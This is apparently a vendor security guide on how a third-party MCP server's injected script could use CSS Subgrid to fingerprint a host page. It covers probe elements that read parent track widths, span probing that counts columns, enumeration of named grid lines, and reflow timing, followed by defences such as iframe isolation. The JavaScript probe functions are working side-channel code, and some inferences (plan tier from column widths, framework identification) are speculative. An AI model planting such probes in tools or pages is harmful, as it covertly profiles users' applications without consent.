Security Guide
MCP server CSS Subgrid security — parent grid track size oracle via probe element widths, subgrid column/row count fingerprinting by max-span probing, named grid line inheritance enumeration, fr-unit reflow timing encodes layout complexity
CSS Subgrid (grid-template-columns: subgrid, Chrome 117+, Firefox 71+, Safari 16+) lets a nested grid container inherit and participate in the track structure of its parent grid. Rather than defining its own columns and rows, the subgrid element re-uses the parent's computed track sizes, gap values, and named lines. This inheritance model creates attack surfaces: probe elements placed inside the subgrid measure their rendered width to extract individual parent track pixel sizes; max-span probing determines the total parent column or row count; inherited named grid lines from the parent are enumerable via computed style; and the time to reflow fr-unit tracks under subgrid constraints encodes the parent layout complexity as a timing side-channel.
How Subgrid inherits parent track structure
When an element sets grid-template-columns: subgrid, it does not create new columns. Instead, it inherits its parent's track sizes, gap values, and named line aliases for the spans it occupies. A probe element placed at grid-column: 1 / 2 inside such a subgrid is sized to exactly one parent track width — whatever the parent computed for that track. This is the mechanism that enables the track size oracle: the probe element's getBoundingClientRect().width reveals the parent track size without any direct access to the parent grid container's computed styles.
Attack 1: Parent grid track sizes extracted via probe element widths
An MCP server that can append a child element inside an existing subgrid (or make an element become a subgrid) extracts each parent track's pixel width by placing a probe element spanning exactly that track and reading its rendered width.
// Subgrid track size oracle — extracts parent grid track widths
// Requires: an ancestor element with display:grid that the probe can enter as a subgrid
function extractParentGridTrackSizes(subgridElement) {
// subgridElement is a direct child of a CSS grid that uses grid-template-columns: subgrid
// We inject a nested grid that is also a subgrid, then probe each track
// Step 1: make subgridElement a subgrid if it isn't already
const originalDisplay = getComputedStyle(subgridElement).gridTemplateColumns;
const style = document.createElement('style');
style.textContent = `
#subgrid-probe-host {
display: contents; /* participate in parent grid as if not there */
}
#subgrid-probe-host {
display: grid;
grid-template-columns: subgrid;
}
`;
// Step 2: inject probe elements spanning each column
const trackSizes = [];
const parentGrid = subgridElement.parentElement;
const parentComputedCols = getComputedStyle(parentGrid).gridTemplateColumns;
// Parse the number of tracks from the computed value
// 'repeat(3, 1fr)' → 3 tracks; '200px 1fr 300px' → 3 tracks
const trackCount = countGridTracks(parentComputedCols); // count spaces in computed string
for (let i = 1; i <= trackCount; i++) {
const probe = document.createElement('div');
probe.style.cssText = `
grid-column: ${i} / ${i + 1};
grid-row: 1;
position: absolute;
visibility: hidden;
pointer-events: none;
`;
subgridElement.appendChild(probe);
const width = probe.getBoundingClientRect().width;
trackSizes.push(width);
probe.remove();
}
return trackSizes;
}
// Example output for a CSS grid layout like:
// grid-template-columns: 200px 1fr 300px (parent container = 800px)
// → [200, 300, 300] (fr resolved to available space = 800 - 200 - 300 - gaps = 300)
// Security implication: reveals the parent grid's design constraints
// including which columns are fixed-pixel (sidebar widths) vs fr-unit (content areas)
// Fixed sidebar widths are often tied to permission-level: 200px = free, 280px = pro
Subgrid probe works through display:contents elements: If there are intermediate display: contents elements between the parent grid and the subgrid probe, the probe still sees the grandparent grid's tracks. This allows track size extraction from ancestors further up the DOM tree than the immediate parent, extending the oracle's reach.
Attack 2: Subgrid span count fingerprinting by max-span probing
To determine the total number of columns in a parent grid without reading getComputedStyle on the parent element, an MCP server places a probe element with grid-column: 1 / span N for increasing values of N. When N exceeds the track count, the element is clamped to the available tracks and its rendered width stops increasing. The value of N at which width stops increasing reveals the exact column count.
// Subgrid column count probe — determines parent grid column count by span clamping
// When grid-column: 1 / span N exceeds available tracks, the browser clamps span
// The element's width stops growing once N exceeds the actual track count
function probeSubgridColumnCount(subgridEl, maxColumns = 20) {
const probe = document.createElement('div');
probe.style.position = 'absolute';
probe.style.visibility = 'hidden';
probe.style.pointerEvents = 'none';
probe.style.gridRow = '1';
subgridEl.appendChild(probe);
let lastWidth = 0;
let columnCount = 0;
for (let n = 1; n <= maxColumns; n++) {
probe.style.gridColumn = `1 / span ${n}`;
const w = probe.getBoundingClientRect().width;
if (n > 1 && Math.abs(w - lastWidth) < 0.5) {
// Width stopped growing — span N-1 is the max before clamping
columnCount = n - 1;
break;
}
lastWidth = w;
}
probe.remove();
return columnCount;
}
// Security: column count fingerprints UI complexity / plan level
// Free plan UIs: typically 1-2 column layouts
// Pro plan UIs: 3-4 columns (sidebar + content + details panel)
// Enterprise UIs: 5-6 columns (complex data grid layouts)
// Column count combined with track sizes distinguishes UI layout state
Attack 3: Named grid line inheritance enumeration
When a parent grid names its lines (grid-template-columns: [sidebar-start] 200px [sidebar-end content-start] 1fr [content-end]), those names are inherited by subgrid items. A probe element placed at grid-column: sidebar-start / sidebar-end inside a subgrid will be sized correctly if those names exist in the parent, or will fall back to auto placement if they do not. By probing known semantic line names and checking whether the resulting placement matches a non-zero width, the attacker enumerates which named lines the parent grid defines.
// Named grid line inheritance enumeration via subgrid placement
// Probes semantic names from parent grid and detects which ones exist
function enumerateNamedGridLines(subgridEl, candidateNames) {
const probe = document.createElement('div');
probe.style.position = 'absolute';
probe.style.visibility = 'hidden';
probe.style.gridRow = '1';
subgridEl.appendChild(probe);
const foundLines = [];
// Probe each candidate name pair: [name-start, name-end]
for (const name of candidateNames) {
probe.style.gridColumn = `${name}-start / ${name}-end`;
const w = probe.getBoundingClientRect().width;
if (w > 0) {
// Named line pair exists in parent grid — placement is valid
foundLines.push({ name, width: w });
}
}
probe.remove();
return foundLines;
}
// Semantic grid line names reveal UI component structure:
const commonNames = [
'sidebar', 'nav', 'content', 'main', 'aside',
'header', 'footer', 'menu', 'panel', 'editor',
'preview', 'chat', 'timeline', 'toolbar', 'detail'
];
const lines = enumerateNamedGridLines(
document.querySelector('[style*="subgrid"]'),
commonNames
);
// Returns: [{name:'sidebar', width:200}, {name:'content', width:600}]
// → UI has sidebar (200px) and content (600px) columns
// → 'editor' and 'preview' absent → not a code editor layout
// → 'chat' absent → not a chat UI layout
Named line fingerprinting identifies the host application: Component libraries use consistent named grid line conventions. Detecting sidebar-start / sidebar-end with a 240px width identifies Radix UI or Shadcn layouts. Detecting nav-start / nav-end with 60px identifies an icon-nav sidebar. The named line pattern is as identifying as a fingerprint of the UI framework.
Attack 4: fr-unit reflow timing encodes parent layout complexity
When a subgrid's parent uses fr units that depend on content sizing (minmax(), auto, fit-content()), the browser must perform a multi-pass track-sizing algorithm to resolve the fr values. The time for this algorithm to complete is measurable via performance.now() around a forced reflow after injecting a probe that changes track content. The computation time scales with the number of fr-unit tracks and the complexity of auto-sized content.
// fr-unit reflow timing oracle — encodes parent grid layout complexity
// The CSS grid track sizing algorithm is O(n * m) where n = track count, m = item count
// Timing the reflow after a content insertion encodes this complexity
function measureSubgridReflowComplexity(subgridEl, samples = 5) {
const timings = [];
for (let i = 0; i < samples; i++) {
// Insert a probe that forces a subgrid reflow
const probe = document.createElement('div');
probe.textContent = 'X'.repeat(100); // fixed-size content
probe.style.gridColumn = '1 / -1'; // span all columns
const t0 = performance.now();
subgridEl.appendChild(probe);
// Force synchronous layout
void subgridEl.getBoundingClientRect();
const t1 = performance.now();
probe.remove();
void subgridEl.getBoundingClientRect(); // restore
timings.push(t1 - t0);
}
const avgMs = timings.reduce((a, b) => a + b, 0) / timings.length;
// Baseline: ~0.1ms for a simple 3-column fixed grid
// Complex: ~0.5-2ms for a 12-column fr-unit grid with auto-sized items
// Very complex: ~3-8ms for a subgrid-of-subgrid with many auto tracks
return {
avgReflowMs: avgMs,
complexityBucket: avgMs < 0.2 ? 'simple' :
avgMs < 1.0 ? 'moderate' :
avgMs < 3.0 ? 'complex' : 'very-complex'
};
}
// Use case: distinguishing free vs enterprise UI complexity
// Free tier: simple 2-column layout (simple bucket)
// Enterprise: complex data grid with 12 fr-columns (complex bucket)
// Confirms plan-tier hypothesis from Attack 2 (column count)
SkillAudit findings for CSS Subgrid attacks
Defences
Treat subgrid zones as part of the parent grid's security perimeter: A subgrid is not an isolated sandbox — it inherits track sizes, named lines, and gap values from the parent. Any element that a MCP server can append inside a subgrid can read the parent grid's dimensional structure. Prevent MCP server scripts from appending children to subgrid containers.
Prefer opaque layout names: Avoid semantic named grid lines (sidebar-start, content-start) in application code that also hosts third-party MCP tools. Use randomized session-scoped line names (e.g., s-a3f8-start) to prevent semantic enumeration, though this does not prevent track size or column count probing.
Isolate MCP UI in iframes: An iframe boundary prevents the iframe content from querying the parent document's grid structure. MCP server UI components should render in cross-origin iframes rather than as direct children of host layout grids.
Restrict child element injection: SkillAudit flags MCP server tool calls that invoke parentElement.appendChild on layout containers as medium-risk — this is the prerequisite for both subgrid track size probing and container query dimension oracles.
Related: CSS Container Queries dimension oracle · CSS Anchor Positioning coordinate extraction · CSS media query layout fingerprinting